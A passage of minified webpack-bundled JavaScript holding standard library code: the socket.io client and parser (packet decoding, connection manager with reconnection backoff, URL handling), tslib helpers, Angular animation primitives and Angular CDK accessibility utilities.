S(z),0===z.attachments&&super.emit("decoded",z)):super.emit("decoded",z)}else{if(!s.isBinary(C)&&!C.base64)throw new Error("Unknown type: "+C);if(!this.reconstructor)throw new Error("got binary data when not reconstructing a packet");z=this.reconstructor.takeBinaryData(C),z&&(this.reconstructor=null,super.emit("decoded",z))}}decodeString(C){let z=0;const H={type:Number(C.charAt(0))};if(void 0===c[H.type])throw new Error("unknown packet type "+H.type);if(H.type===c.BINARY_EVENT||H.type===c.BINARY_ACK){const U=z+1;for(;"-"!==C.charAt(++z)&&z!=C.length;);const G=C.substring(U,z);if(G!=Number(G)||"-"!==C.charAt(z))throw new Error("Illegal attachments");H.attachments=Number(G)}if("/"===C.charAt(z+1)){const U=z+1;for(;++z&&","!==C.charAt(z)&&z!==C.length;);H.nsp=C.substring(U,z)}else H.nsp="/";const j=C.charAt(z+1);if(""!==j&&Number(j)==j){const U=z+1;for(;++z;){const G=C.charAt(z);if(null==G||Number(G)!=G){--z;break}if(z===C.length)break}H.id=Number(C.substring(U,z+1))}if(C.charAt(++z)){const U=function _(g){try{return JSON.parse(g)}catch{return!1}}(C.substr(z));if(!E.isPayloadValid(H.type,U))throw new Error("invalid payload");H.data=U}return u("decoded %s as %j",C,H),H}static isPayloadValid(C,z){switch(C){case c.CONNECT:return"object"==typeof z;case c.DISCONNECT:return void 0===z;case c.CONNECT_ERROR:return"string"==typeof z||"object"==typeof z;case c.EVENT:case c.BINARY_EVENT:return Array.isArray(z)&&z.length>0;case c.ACK:case c.BINARY_ACK:return Array.isArray(z)}}destroy(){this.reconstructor&&this.reconstructor.finishedReconstruction()}}ae.Decoder=E;class S{constructor(C){this.packet=C,this.buffers=[],this.reconPack=C}takeBinaryData(C){if(this.buffers.push(C),this.buffers.length===this.reconPack.attachments){const z=a.reconstructPacket(this.reconPack,this.buffers);return this.finishedReconstruction(),z}return null}finishedReconstruction(){this.reconPack=null,this.buffers=[]}}},8120:(At,ae)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.hasBinary=ae.isBinary=void 0;const d="function"==typeof ArrayBuffer,n=E=>"function"==typeof ArrayBuffer.isView?ArrayBuffer.isView(E):E.buffer instanceof ArrayBuffer,a=Object.prototype.toString,s="function"==typeof Blob||typeof Blob<"u"&&"[object BlobConstructor]"===a.call(Blob),u="function"==typeof File||typeof File<"u"&&"[object FileConstructor]"===a.call(File);function c(E){return d&&(E instanceof ArrayBuffer||n(E))||s&&E instanceof Blob||u&&E instanceof File}ae.isBinary=c,ae.hasBinary=function f(E,_){if(!E||"object"!=typeof E)return!1;if(Array.isArray(E)){for(let S=0,g=E.length;S<g;S++)if(f(E[S]))return!0;return!1}if(c(E))return!0;if(E.toJSON&&"function"==typeof E.toJSON&&1===arguments.length)return f(E.toJSON(),!0);for(const S in E)if(Object.prototype.hasOwnProperty.call(E,S)&&f(E[S]))return!0;return!1}},1067:At=>{"use strict";var u,ae="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_".split(""),d=64,n={},a=0,s=0;function c(_){var S="";do{S=ae[_%d]+S,_=Math.floor(_/d)}while(_>0);return S}function E(){var _=c(+new Date);return _!==u?(a=0,u=_):_+"."+c(a++)}for(;s<d;s++)n[ae[s]]=s;E.encode=c,E.decode=function f(_){var S=0;for(s=0;s<_.length;s++)S=S*d+n[_.charAt(s)];return S},At.exports=E},655:(At,ae,d)=>{"use strict";function c(Ye,qe,Ke,dt){var De,bt=arguments.length,ze=bt<3?qe:null===dt?dt=Object.getOwnPropertyDescriptor(qe,Ke):dt;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)ze=Reflect.decorate(Ye,qe,Ke,dt);else for(var re=Ye.length-1;re>=0;re--)(De=Ye[re])&&(ze=(bt<3?De(ze):bt>3?De(qe,Ke,ze):De(qe,Ke))||ze);return bt>3&&ze&&Object.defineProperty(qe,Ke,ze),ze}function C(Ye,qe){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(Ye,qe)}function z(Ye,qe,Ke,dt){return new(Ke||(Ke=Promise))(function(ze,De){function re(xt){try{We(dt.next(xt))}catch(Be){De(Be)}}function ve(xt){try{We(dt.throw(xt))}catch(Be){De(Be)}}function We(xt){xt.done?ze(xt.value):function bt(ze){return ze instanceof Ke?ze:new Ke(function(De){De(ze)})}(xt.value).then(re,ve)}We((dt=dt.apply(Ye,qe||[])).next())})}d.d(ae,{gn:()=>c,mG:()=>z,w6:()=>C})},8450:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Socket=ae.io=ae.Manager=ae.protocol=void 0;const n=d(4398),a=d(9707),s=d(9745);Object.defineProperty(ae,"Socket",{enumerable:!0,get:function(){return s.Socket}});const u=d(1455)("socket.io-client");At.exports=ae=f;const c=ae.managers={};function f(S,g){"object"==typeof S&&(g=S,S=void 0);const C=n.url(S,(g=g||{}).path),z=C.source,H=C.id;let Q;return g.forceNew||g["force new connection"]||!1===g.multiplex||c[H]&&C.path in c[H].nsps?(u("ignoring socket cache for %s",z),Q=new a.Manager(z,g)):(c[H]||(u("new io instance for %s",z),c[H]=new a.Manager(z,g)),Q=c[H]),C.query&&!g.query&&(g.query=C.queryKey),Q.socket(C.path,g)}ae.io=f;var E=d(869);Object.defineProperty(ae,"protocol",{enumerable:!0,get:function(){return E.protocol}}),ae.connect=f;var _=d(9707);Object.defineProperty(ae,"Manager",{enumerable:!0,get:function(){return _.Manager}})},9707:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Manager=void 0;const n=d(7410),a=d(9745),s=d(1264),u=d(869),c=d(5825),f=d(2150),E=d(1455)("socket.io-client:manager");ae.Manager=class _ extends s{constructor(g,C){super(),this.nsps={},this.subs=[],g&&"object"==typeof g&&(C=g,g=void 0),(C=C||{}).path=C.path||"/socket.io",this.opts=C,this.reconnection(!1!==C.reconnection),this.reconnectionAttempts(C.reconnectionAttempts||1/0),this.reconnectionDelay(C.reconnectionDelay||1e3),this.reconnectionDelayMax(C.reconnectionDelayMax||5e3),this.randomizationFactor(C.randomizationFactor||.5),this.backoff=new f({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()}),this.timeout(null==C.timeout?2e4:C.timeout),this._readyState="closed",this.uri=g;const z=C.parser||u;this.encoder=new z.Encoder,this.decoder=new z.Decoder,this._autoConnect=!1!==C.autoConnect,this._autoConnect&&this.open()}reconnection(g){return arguments.length?(this._reconnection=!!g,this):this._reconnection}reconnectionAttempts(g){return void 0===g?this._reconnectionAttempts:(this._reconnectionAttempts=g,this)}reconnectionDelay(g){var C;return void 0===g?this._reconnectionDelay:(this._reconnectionDelay=g,null===(C=this.backoff)||void 0===C||C.setMin(g),this)}randomizationFactor(g){var C;return void 0===g?this._randomizationFactor:(this._randomizationFactor=g,null===(C=this.backoff)||void 0===C||C.setJitter(g),this)}reconnectionDelayMax(g){var C;return void 0===g?this._reconnectionDelayMax:(this._reconnectionDelayMax=g,null===(C=this.backoff)||void 0===C||C.setMax(g),this)}timeout(g){return arguments.length?(this._timeout=g,this):this._timeout}maybeReconnectOnOpen(){!this._reconnecting&&this._reconnection&&0===this.backoff.attempts&&this.reconnect()}open(g){if(E("readyState %s",this._readyState),~this._readyState.indexOf("open"))return this;E("opening %s",this.uri),this.engine=n(this.uri,this.opts);const C=this.engine,z=this;this._readyState="opening",this.skipReconnect=!1;const H=c.on(C,"open",function(){z.onopen(),g&&g()}),j=c.on(C,"error",U=>{E("error"),z.cleanup(),z._readyState="closed",super.emit("error",U),g?g(U):z.maybeReconnectOnOpen()});if(!1!==this._timeout){const U=this._timeout;E("connect attempt will timeout after %d",U),0===U&&H();const G=setTimeout(()=>{E("connect attempt timed out after %d",U),H(),C.close(),C.emit("error",new Error("timeout"))},U);this.subs.push(function(){clearTimeout(G)})}return this.subs.push(H),this.subs.push(j),this}connect(g){return this.open(g)}onopen(){E("open"),this.cleanup(),this._readyState="open",super.emit("open");const g=this.engine;this.subs.push(c.on(g,"ping",this.onping.bind(this)),c.on(g,"data",this.ondata.bind(this)),c.on(g,"error",this.onerror.bind(this)),c.on(g,"close",this.onclose.bind(this)),c.on(this.decoder,"decoded",this.ondecoded.bind(this)))}onping(){super.emit("ping")}ondata(g){this.decoder.add(g)}ondecoded(g){super.emit("packet",g)}onerror(g){E("error",g),super.emit("error",g)}socket(g,C){let z=this.nsps[g];return z||(z=new a.Socket(this,g,C),this.nsps[g]=z),z}_destroy(g){const C=Object.keys(this.nsps);for(const z of C)if(this.nsps[z].active)return void E("socket %s is still active, skipping close",z);this._close()}_packet(g){E("writing packet %j",g);const C=this.encoder.encode(g);for(let z=0;z<C.length;z++)this.engine.write(C[z],g.options)}cleanup(){E("cleanup"),this.subs.forEach(g=>g()),this.subs.length=0,this.decoder.destroy()}_close(){E("disconnect"),this.skipReconnect=!0,this._reconnecting=!1,"opening"===this._readyState&&this.cleanup(),this.backoff.reset(),this._readyState="closed",this.engine&&this.engine.close()}disconnect(){return this._close()}onclose(g){E("onclose"),this.cleanup(),this.backoff.reset(),this._readyState="closed",super.emit("close",g),this._reconnection&&!this.skipReconnect&&this.reconnect()}reconnect(){if(this._reconnecting||this.skipReconnect)return this;const g=this;if(this.backoff.attempts>=this._reconnectionAttempts)E("reconnect failed"),this.backoff.reset(),super.emit("reconnect_failed"),this._reconnecting=!1;else{const C=this.backoff.duration();E("will wait %dms before reconnect attempt",C),this._reconnecting=!0;const z=setTimeout(()=>{g.skipReconnect||(E("attempting reconnect"),super.emit("reconnect_attempt",g.backoff.attempts),!g.skipReconnect&&g.open(H=>{H?(E("reconnect attempt error"),g._reconnecting=!1,g.reconnect(),super.emit("reconnect_error",H)):(E("reconnect success"),g.onreconnect())}))},C);this.subs.push(function(){clearTimeout(z)})}}onreconnect(){const g=this.backoff.attempts;this._reconnecting=!1,this.backoff.reset(),super.emit("reconnect",g)}}},5825:(At,ae)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.on=void 0,ae.on=function d(n,a,s){return n.on(a,s),function(){n.off(a,s)}}},9745:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Socket=void 0;const n=d(869),a=d(1264),s=d(5825),u=d(1455)("socket.io-client:socket"),c=Object.freeze({connect:1,connect_error:1,disconnect:1,disconnecting:1,newListener:1,removeListener:1});ae.Socket=class f extends a{constructor(_,S,g){super(),this.receiveBuffer=[],this.sendBuffer=[],this.ids=0,this.acks={},this.flags={},this.io=_,this.nsp=S,this.ids=0,this.acks={},this.receiveBuffer=[],this.sendBuffer=[],this.connected=!1,this.disconnected=!0,this.flags={},g&&g.auth&&(this.auth=g.auth),this.io._autoConnect&&this.open()}subEvents(){if(this.subs)return;const _=this.io;this.subs=[s.on(_,"open",this.onopen.bind(this)),s.on(_,"packet",this.onpacket.bind(this)),s.on(_,"error",this.onerror.bind(this)),s.on(_,"close",this.onclose.bind(this))]}get active(){return!!this.subs}connect(){return this.connected||(this.subEvents(),this.io._reconnecting||this.io.open(),"open"===this.io._readyState&&this.onopen()),this}open(){return this.connect()}send(..._){return _.unshift("message"),this.emit.apply(this,_),this}emit(_,...S){if(c.hasOwnProperty(_))throw new Error(\'"\'+_+\'" is a reserved event name\');S.unshift(_);const g={type:n.PacketType.EVENT,data:S,options:{}};return g.options.compress=!1!==this.flags.compress,"function"==typeof S[S.length-1]&&(u("emitting packet with ack id %d",this.ids),this.acks[this.ids]=S.pop(),g.id=this.ids++),!this.flags.volatile||this.io.engine&&this.io.engine.transport&&this.io.engine.transport.writable&&this.connected?this.connected?this.packet(g):this.sendBuffer.push(g):u("discard packet as the transport is not currently writable"),this.flags={},this}packet(_){_.nsp=this.nsp,this.io._packet(_)}onopen(){u("transport is open - connecting"),"function"==typeof this.auth?this.auth(_=>{this.packet({type:n.PacketType.CONNECT,data:_})}):this.packet({type:n.PacketType.CONNECT,data:this.auth})}onerror(_){this.connected||super.emit("connect_error",_)}onclose(_){u("close (%s)",_),this.connected=!1,this.disconnected=!0,delete this.id,super.emit("disconnect",_)}onpacket(_){if(_.nsp===this.nsp)switch(_.type){case n.PacketType.CONNECT:_.data&&_.data.sid?this.onconnect(_.data.sid):super.emit("connect_error",new Error("It seems you are trying to reach a Socket.IO server in v2.x with a v3.x client, but they are not compatible (more information here: https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)"));break;case n.PacketType.EVENT:case n.PacketType.BINARY_EVENT:this.onevent(_);break;case n.PacketType.ACK:case n.PacketType.BINARY_ACK:this.onack(_);break;case n.PacketType.DISCONNECT:this.ondisconnect();break;case n.PacketType.CONNECT_ERROR:const g=new Error(_.data.message);g.data=_.data.data,super.emit("connect_error",g)}}onevent(_){const S=_.data||[];u("emitting event %j",S),null!=_.id&&(u("attaching ack callback to event"),S.push(this.ack(_.id))),this.connected?this.emitEvent(S):this.receiveBuffer.push(Object.freeze(S))}emitEvent(_){if(this._anyListeners&&this._anyListeners.length){const S=this._anyListeners.slice();for(const g of S)g.apply(this,_)}super.emit.apply(this,_)}ack(_){const S=this;let g=!1;return function(...C){g||(g=!0,u("sending ack %j",C),S.packet({type:n.PacketType.ACK,id:_,data:C}))}}onack(_){const S=this.acks[_.id];"function"==typeof S?(u("calling ack %s with %j",_.id,_.data),S.apply(this,_.data),delete this.acks[_.id]):u("bad ack %s",_.id)}onconnect(_){u("socket connected with id %s",_),this.id=_,this.connected=!0,this.disconnected=!1,super.emit("connect"),this.emitBuffered()}emitBuffered(){this.receiveBuffer.forEach(_=>this.emitEvent(_)),this.receiveBuffer=[],this.sendBuffer.forEach(_=>this.packet(_)),this.sendBuffer=[]}ondisconnect(){u("server disconnect (%s)",this.nsp),this.destroy(),this.onclose("io server disconnect")}destroy(){this.subs&&(this.subs.forEach(_=>_()),this.subs=void 0),this.io._destroy(this)}disconnect(){return this.connected&&(u("performing disconnect (%s)",this.nsp),this.packet({type:n.PacketType.DISCONNECT})),this.destroy(),this.connected&&this.onclose("io client disconnect"),this}close(){return this.disconnect()}compress(_){return this.flags.compress=_,this}get volatile(){return this.flags.volatile=!0,this}onAny(_){return this._anyListeners=this._anyListeners||[],this._anyListeners.push(_),this}prependAny(_){return this._anyListeners=this._anyListeners||[],this._anyListeners.unshift(_),this}offAny(_){if(!this._anyListeners)return this;if(_){const S=this._anyListeners;for(let g=0;g<S.length;g++)if(_===S[g])return S.splice(g,1),this}else this._anyListeners=[];return this}listenersAny(){return this._anyListeners||[]}}},4398:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.url=void 0;const n=d(1884),a=d(1455)("socket.io-client:url");ae.url=function s(u,c="",f){let E=u;f=f||typeof location<"u"&&location,null==u&&(u=f.protocol+"//"+f.host),"string"==typeof u&&("/"===u.charAt(0)&&(u="/"===u.charAt(1)?f.protocol+u:f.host+u),/^(https?|wss?):\\/\\//.test(u)||(a("protocol-less url %s",u),u=typeof f<"u"?f.protocol+"//"+u:"https://"+u),a("parse %s",u),E=n(u)),E.port||(/^(http|ws)$/.test(E.protocol)?E.port="80":/^(http|ws)s$/.test(E.protocol)&&(E.port="443")),E.path=E.path||"/";const S=-1!==E.host.indexOf(":")?"["+E.host+"]":E.host;return E.id=E.protocol+"://"+S+":"+E.port+c,E.href=E.protocol+"://"+S+(f&&f.port===E.port?"":":"+E.port),E}},7340:(At,ae,d)=>{"use strict";d.d(ae,{EY:()=>G,F4:()=>g,IO:()=>U,LC:()=>a,SB:()=>S,X$:()=>u,ZE:()=>Ce,ZN:()=>oe,_7:()=>j,_j:()=>n,eR:()=>C,jt:()=>c,k1:()=>k,l3:()=>s,oB:()=>_,oQ:()=>z,pV:()=>H,ru:()=>f,vP:()=>E});class n{}class a{}const s="*";function u(K,se){return{type:7,name:K,definitions:se,options:{}}}function c(K,se=null){return{type:4,styles:se,timings:K}}function f(K,se=null){return{type:3,steps:K,options:se}}function E(K,se=null){return{type:2,steps:K,options:se}}function _(K){return{type:6,styles:K,offset:null}}function S(K,se,ee){return{type:0,name:K,styles:se,options:ee}}function g(K){return{type:5,steps:K}}function C(K,se,ee=null){return{type:1,expr:K,animation:se,options:ee}}function z(K,se=null){return{type:8,animation:K,options:se}}function H(K=null){return{type:9,options:K}}function j(K,se=null){return{type:10,animation:K,options:se}}function U(K,se,ee=null){return{type:11,selector:K,animation:se,options:ee}}function G(K,se){return{type:12,timings:K,animation:se}}function Q(K){Promise.resolve().then(K)}class oe{constructor(se=0,ee=0){this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._originalOnDoneFns=[],this._originalOnStartFns=[],this._started=!1,this._destroyed=!1,this._finished=!1,this._position=0,this.parentPlayer=null,this.totalTime=se+ee}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(se=>se()),this._onDoneFns=[])}onStart(se){this._originalOnStartFns.push(se),this._onStartFns.push(se)}onDone(se){this._originalOnDoneFns.push(se),this._onDoneFns.push(se)}onDestroy(se){this._onDestroyFns.push(se)}hasStarted(){return this._started}init(){}play(){this.hasStarted()||(this._onStart(),this.triggerMicrotask()),this._started=!0}triggerMicrotask(){Q(()=>this._onFinish())}_onStart(){this._onStartFns.forEach(se=>se()),this._onStartFns=[]}pause(){}restart(){}finish(){this._onFinish()}destroy(){this._destroyed||(this._destroyed=!0,this.hasStarted()||this._onStart(),this.finish(),this._onDestroyFns.forEach(se=>se()),this._onDestroyFns=[])}reset(){this._started=!1,this._finished=!1,this._onStartFns=this._originalOnStartFns,this._onDoneFns=this._originalOnDoneFns}setPosition(se){this._position=this.totalTime?se*this.totalTime:1}getPosition(){return this.totalTime?this._position/this.totalTime:1}triggerCallback(se){const ee="start"==se?this._onStartFns:this._onDoneFns;ee.forEach(q=>q()),ee.length=0}}class Ce{constructor(se){this._onDoneFns=[],this._onStartFns=[],this._finished=!1,this._started=!1,this._destroyed=!1,this._onDestroyFns=[],this.parentPlayer=null,this.totalTime=0,this.players=se;let ee=0,q=0,we=0;const ce=this.players.length;0==ce?Q(()=>this._onFinish()):this.players.forEach(je=>{je.onDone(()=>{++ee==ce&&this._onFinish()}),je.onDestroy(()=>{++q==ce&&this._onDestroy()}),je.onStart(()=>{++we==ce&&this._onStart()})}),this.totalTime=this.players.reduce((je,Ze)=>Math.max(je,Ze.totalTime),0)}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(se=>se()),this._onDoneFns=[])}init(){this.players.forEach(se=>se.init())}onStart(se){this._onStartFns.push(se)}_onStart(){this.hasStarted()||(this._started=!0,this._onStartFns.forEach(se=>se()),this._onStartFns=[])}onDone(se){this._onDoneFns.push(se)}onDestroy(se){this._onDestroyFns.push(se)}hasStarted(){return this._started}play(){this.parentPlayer||this.init(),this._onStart(),this.players.forEach(se=>se.play())}pause(){this.players.forEach(se=>se.pause())}restart(){this.players.forEach(se=>se.restart())}finish(){this._onFinish(),this.players.forEach(se=>se.finish())}destroy(){this._onDestroy()}_onDestroy(){this._destroyed||(this._destroyed=!0,this._onFinish(),this.players.forEach(se=>se.destroy()),this._onDestroyFns.forEach(se=>se()),this._onDestroyFns=[])}reset(){this.players.forEach(se=>se.reset()),this._destroyed=!1,this._finished=!1,this._started=!1}setPosition(se){const ee=se*this.totalTime;this.players.forEach(q=>{const we=q.totalTime?Math.min(1,ee/q.totalTime):1;q.setPosition(we)})}getPosition(){const se=this.players.reduce((ee,q)=>null===ee||q.totalTime>ee.totalTime?q:ee,null);return null!=se?se.getPosition():0}beforeDestroy(){this.players.forEach(se=>{se.beforeDestroy&&se.beforeDestroy()})}triggerCallback(se){const ee="start"==se?this._onStartFns:this._onDoneFns;ee.forEach(q=>q()),ee.length=0}}const k="!"},2687:(At,ae,d)=>{"use strict";d.d(ae,{$s:()=>Ze,Em:()=>qe,Kd:()=>Gt,X6:()=>te,ic:()=>dt,kH:()=>_t,mK:()=>ct,qV:()=>_e,qm:()=>Pe,rt:()=>Re,s1:()=>Ye,tE:()=>It,yG:()=>x});var n=d(6895),a=d(4650),s=d(3353),u=d(8929),c=d(2654),f=d(591),E=d(1086),_=d(9521),S=d(2868),g=d(13),C=d(2198),z=d(4850),H=d(2986),j=d(1307),U=d(5778),G=d(7625),Q=d(1281),oe=d(9643),Ce=d(2289);function ee(Ue,xe){return(Ue.getAttribute(xe)||"").match(/\\S+/g)||[]}const we="cdk-describedby-message",ce="cdk-describedby-host";let je=0,Ze=(()=>{class Ue{constructor(J,Ae){this._platform=Ae,this._messageRegistry=new Map,this._messagesContainer=null,this._id=""+je++,this._document=J,this._id=(0,a.f3M)(a.AFp)+"-"+je++}describe(J,Ae,mt){if(!this._canBeDescribed(J,Ae))return;const Ct=le(Ae,mt);"string"!=typeof Ae?(Oe(Ae,this._id),this._messageRegistry.set(Ct,{messageElement:Ae,referenceCount:0})):this._messageRegistry.has(Ct)||this._createMessageElement(Ae,mt),this._isElementDescribedByMessage(J,Ct)||this._addMessageReference(J,Ct)}removeDescription(J,Ae,mt){if(!Ae||!this._isElementNode(J))return;const Ct=le(Ae,mt);if(this._isElementDescribedByMessage(J,Ct)&&this._removeMessageReference(J,Ct),"string"==typeof Ae){const jt=this._messageRegistry.get(Ct);jt&&0===jt.referenceCount&&this._deleteMessageElement(Ct)}0===this._messagesContainer?.childNodes.length&&(this._messagesContainer.remove(),this._messagesContainer=null)}ngOnDestroy(){const J=this._document.querySelectorAll(`[${ce}="${this._id}"]`);for(let Ae=0;Ae<J.length;Ae++)this._removeCdkDescribedByReferenceIds(J[Ae]),J[Ae].removeAttribute(ce);this._messagesContainer?.remove(),this._messagesContainer=null,this._messageRegistry.clear()}_createMessageElement(J,Ae){const mt=this._document.createElement("div");Oe(mt,this._id),mt.textContent=J,Ae&&mt.setAttribute("role",Ae),this._createMessagesContainer(),this._messagesContainer.appendChild(mt),this._messageRegistry.set(le(J,Ae),{messageElement:mt,referenceCount:0})}_deleteMessageElement(J){this._messageRegistry.get(J)?.messageElement?.remove(),this._messageRegistry.delete(J)}_createMessagesContainer(){if(this._messagesContainer)return;const J="cdk-describedby-message-container",Ae=this._document.querySelectorAll(`.${J}[platform="server"]`);for(let Ct=0;Ct<Ae.length;Ct++)Ae[Ct].remove();const mt=this._document.createElement("div");mt.style.visibility="hidden",mt.classList.add(J),mt.classList.add("cdk-visually-hidden"),this._platform&&!this._platform.isBrowser&&mt.setAttribute("platform","server"),this._document.body.appendChild(mt),this._messagesContainer=mt}_removeCdkDescribedByReferenceIds(J){const Ae=ee(J,"aria-describedby").filter(mt=>0!=mt.indexOf(we));J.setAttribute("aria-describedby",Ae.join(" "))}_addMessageReference(J,Ae){const mt=this._messageRegistry.get(Ae);(function K(Ue,xe,J){const Ae=ee(Ue,xe);Ae.some(mt=>mt.trim()==J.trim())||(Ae.push(J.trim()),Ue.setAttribute(xe,Ae.join(" ")))})(J,"aria-describedby",mt.messageElement.id),J.setAttribute(ce,this._id),mt.referenceCount++}_removeMessageReference(J,Ae){const mt=this._messageRegistry.get(Ae);mt.referenceCount--,function se(Ue,xe,J){const mt=ee(Ue,xe).filter(Ct=>Ct!=J.trim());mt.length?Ue.setAttribute(xe,mt.join(" ")):Ue.removeAttribute(xe)}(J,"aria-describedby",mt.messageElement.id),J.removeAttribute(ce)}_isElementDescribedByMessage(J,Ae){const mt=ee(J,"aria-describedby"),Ct=this._messageRegistry.get(Ae),jt=Ct&&Ct.messageElement.id;return!!jt&&-1!=mt.indexOf(jt)}_canBeDescribed(J,Ae){if(!this._isElementNode(J))return!1;if(Ae&&"object"==typeof Ae)return!0;const mt=null==Ae?"":`${Ae}`.trim(),Ct=J.getAttribute("aria-label");return!(!mt||Ct&&Ct.trim()===mt)}_isElementNode(J){return J.nodeType===this._document.ELEMENT_NODE}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(n.K0),a.LFG(s.t4))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();function le(Ue,xe){return"string"==typeof Ue?`${xe||""}/${Ue}`:Ue}function Oe(Ue,xe){Ue.id||(Ue.id=`${we}-${xe}-${je++}`)}class Qe{constructor(xe){this._items=xe,this._activeItemIndex=-1,this._activeItem=null,this._wrap=!1,this._letterKeyStream=new u.xQ,this._typeaheadSubscription=c.w.EMPTY,this._vertical=!0,this._allowedModifierKeys=[],this._homeAndEnd=!1,this._skipPredicateFn=J=>J.disabled,this._pressedLetters=[],this.tabOut=new u.xQ,this.change=new u.xQ,xe instanceof a.n_E&&xe.changes.subscribe(J=>{if(this._activeItem){const mt=J.toArray().indexOf(this._activeItem);mt>-1&&mt!==this._activeItemIndex&&(this._activeItemIndex=mt)}})}skipPredicate(xe){return this._skipPredicateFn=xe,this}withWrap(xe=!0){return this._wrap=xe,this}withVerticalOrientation(xe=!0){return this._vertical=xe,this}withHorizontalOrientation(xe){return this._horizontal=xe,this}withAllowedModifierKeys(xe){return this._allowedModifierKeys=xe,this}withTypeAhead(xe=200){return this._typeaheadSubscription.unsubscribe(),this._typeaheadSubscription=this._letterKeyStream.pipe((0,S.b)(J=>this._pressedLetters.push(J)),(0,g.b)(xe),(0,C.h)(()=>this._pressedLetters.length>0),(0,z.U)(()=>this._pressedLetters.join(""))).subscribe(J=>{const Ae=this._getItemsArray();for(let mt=1;mt<Ae.length+1;mt++){const Ct=(this._activeItemIndex+mt)%Ae.length,jt=Ae[Ct];if(!this._skipPredicateFn(jt)&&0===jt.getLabel().toUpperCase().trim().indexOf(J)){this.setActiveItem(Ct);break}}this._pressedLetters=[]}),this}withHomeAndEnd(xe=!0){return this._homeAndEnd=xe,this}setActiveItem(xe){const J=this._activeItem;this.updateActiveItem(xe),this._activeItem!==J&&this.change.next(this._activeItemIndex)}onKeydown(xe){const J=xe.keyCode,mt=["altKey","ctrlKey","metaKey","shiftKey"].every(Ct=>!xe[Ct]||this._allowedModifierKeys.indexOf(Ct)>-1);switch(J){case _.Mf:return void this.tabOut.next();case _.JH:if(this._vertical&&mt){this.setNextItemActive();break}return;case _.LH:if(this._vertical&&mt){this.setPreviousItemActive();break}return;case _.SV:if(this._horizontal&&mt){"rtl"===this._horizontal?this.setPreviousItemActive():this.setNextItemActive();break}return;case _.oh:if(this._horizontal&&mt){"rtl"===this._horizontal?this.setNextItemActive():this.setPreviousItemActive();break}return;case _.Sd:if(this._homeAndEnd&&mt){this.setFirstItemActive();break}return;case _.uR:if(this._homeAndEnd&&mt){this.setLastItemActive();break}return;default:return void((mt||(0,_.Vb)(xe,"shiftKey"))&&(xe.key&&1===xe.key.length?this._letterKeyStream.next(xe.key.toLocaleUpperCase()):(J>=_.A&&J<=_.Z||J>=_.xE&&J<=_.aO)&&this._letterKeyStream.next(String.fromCharCode(J))))}this._pressedLetters=[],xe.preventDefault()}get activeItemIndex(){return this._activeItemIndex}get activeItem(){return this._activeItem}isTyping(){return this._pressedLetters.length>0}setFirstItemActive(){this._setActiveItemByIndex(0,1)}setLastItemActive(){this._setActiveItemByIndex(this._items.length-1,-1)}setNextItemActive(){this._activeItemIndex<0?this.setFirstItemActive():this._setActiveItemByDelta(1)}setPreviousItemActive(){this._activeItemIndex<0&&this._wrap?this.setLastItemActive():this._setActiveItemByDelta(-1)}updateActiveItem(xe){const J=this._getItemsArray(),Ae="number"==typeof xe?xe:J.indexOf(xe);this._activeItem=J[Ae]??null,this._activeItemIndex=Ae}_setActiveItemByDelta(xe){this._wrap?this._setActiveInWrapMode(xe):this._setActiveInDefaultMode(xe)}_setActiveInWrapMode(xe){const J=this._getItemsArray();for(let Ae=1;Ae<=J.length;Ae++){const mt=(this._activeItemIndex+xe*Ae+J.length)%J.length;if(!this._skipPredicateFn(J[mt]))return void this.setActiveItem(mt)}}_setActiveInDefaultMode(xe){this._setActiveItemByIndex(this._activeItemIndex+xe,xe)}_setActiveItemByIndex(xe,J){const Ae=this._getItemsArray();if(Ae[xe]){for(;this._skipPredicateFn(Ae[xe]);)if(!Ae[xe+=J])return;this.setActiveItem(xe)}}_getItemsArray(){return this._items instanceof a.n_E?this._items.toArray():this._items}}class Ye extends Qe{setActiveItem(xe){this.activeItem&&this.activeItem.setInactiveStyles(),super.setActiveItem(xe),this.activeItem&&this.activeItem.setActiveStyles()}}class qe extends Qe{constructor(){super(...arguments),this._origin="program"}setFocusOrigin(xe){return this._origin=xe,this}setActiveItem(xe){super.setActiveItem(xe),this.activeItem&&this.activeItem.focus(this._origin)}}let dt=(()=>{class Ue{constructor(J){this._platform=J}isDisabled(J){return J.hasAttribute("disabled")}isVisible(J){return function ze(Ue){return!!(Ue.offsetWidth||Ue.offsetHeight||"function"==typeof Ue.getClientRects&&Ue.getClientRects().length)}(J)&&"visible"===getComputedStyle(J).visibility}isTabbable(J){if(!this._platform.isBrowser)return!1;const Ae=function bt(Ue){try{return Ue.frameElement}catch{return null}}(function R(Ue){return Ue.ownerDocument&&Ue.ownerDocument.defaultView||window}(J));if(Ae&&(-1===pe(Ae)||!this.isVisible(Ae)))return!1;let mt=J.nodeName.toLowerCase(),Ct=pe(J);return J.hasAttribute("contenteditable")?-1!==Ct:!("iframe"===mt||"object"===mt||this._platform.WEBKIT&&this._platform.IOS&&!function P(Ue){let xe=Ue.nodeName.toLowerCase(),J="input"===xe&&Ue.type;return"text"===J||"password"===J||"select"===xe||"textarea"===xe}(J))&&("audio"===mt?!!J.hasAttribute("controls")&&-1!==Ct:"video"===mt?-1!==Ct&&(null!==Ct||this._platform.FIREFOX||J.hasAttribute("controls")):J.tabIndex>=0)}isFocusable(J,Ae){return function w(Ue){return!function re(Ue){return function We(Ue){return"input"==Ue.nodeName.toLowerCase()}(Ue)&&"hidden"==Ue.type}(Ue)&&(function 